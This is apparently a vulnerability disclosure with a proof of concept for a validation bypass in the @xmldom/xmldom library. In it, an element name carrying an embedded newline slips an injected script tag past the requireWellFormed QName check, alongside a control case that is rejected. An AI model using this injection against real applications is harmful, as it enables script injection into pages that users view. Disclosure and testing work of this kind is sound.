CVE-2026-83617: @xmldom/xmldom requireWellFormed QName Check Bypass via Embedded Line Terminator

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

// Malicious element name: first line is valid QName "a",
// newline lets the rest slip past QName_exact.test(), and
// the serializer emits the name verbatim, breaking out of the tag.
const doc = new DOMImplementation().createDocument(null, 'root', null);
const el = doc.createElement('a\n><script>alert(1)</script');
doc.documentElement.appendChild(el);

// Caller opted into strict validation -- expects an InvalidStateError throw:
console.log(
  new XMLSerializer().serializeToString(doc, { requireWellFormed: true })
);
// On 0.9.11: NO throw. Output contains injected ><script>alert(1)</script>
// breakout because "a" (line 1) satisfies the m-anchored QName_exact check.

// Control -- single-line invalid name IS rejected, proving only the
// newline defeats the guard:
const ctrl = new DOMImplementation().createDocument(null, 'root', null);
ctrl.documentElement.appendChild(ctrl.createElement('a b'));
new XMLSerializer().serializeToString(ctrl, { requireWellFormed: true });
// => throws InvalidStateError: The element name "a b" is not a valid XML QName